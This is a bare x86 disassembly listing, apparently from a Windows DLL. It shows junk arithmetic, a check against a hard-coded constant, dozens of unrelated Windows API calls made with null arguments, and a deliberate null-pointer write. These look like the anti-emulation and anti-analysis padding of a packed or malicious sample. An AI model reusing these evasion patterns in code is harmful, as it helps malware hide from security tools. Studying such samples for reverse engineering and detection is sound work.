mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
sub edx, 0x141c
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 4]
sub eax, 0x1171
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x47b
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
sub ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0xc]
add edx, 0xb4b
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10003e04
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x10003dea
mov eax, dword [ebp - 0x20]
sub eax, 0x1fdb
mov dword [ebp - 0x20], eax
mov ecx, 4
imul edx, ecx, 0x2a1
mov dword [edx + 0x100fa9e8], 0xee0
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
push 0x1a4
push 0x1000d680
lea ecx, [ebp - 0x50]
push ecx
call fcn.1001ad10
add esp, 0xc
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
call fcn.1001ad30
add esp, 8
mov al, 1
jmp 0x10003fbe
mov ecx, dword [0x1009baf0]
xor edx, edx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x40], 0x9d76f526
jne 0x10003fbc
cmp dword [ebp - 0x3c], 0
jne 0x10003fbc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaNodeNumberFromHandle]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileById]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetDIBits]
push 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetColorAdjustment]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddResourceAttributeAce]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadThreadProfilingData]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDIBSection]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetBitmapBits]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetWaitableTimerEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTimeEx]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
push 0
call dword [sym.imp.KERNEL32.dll_TryAcquireSRWLockExclusive]
xor eax, eax
lock inc dword [eax]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrefetchVirtualMemory]
xor al, al
mov esp, ebp
pop ebp
ret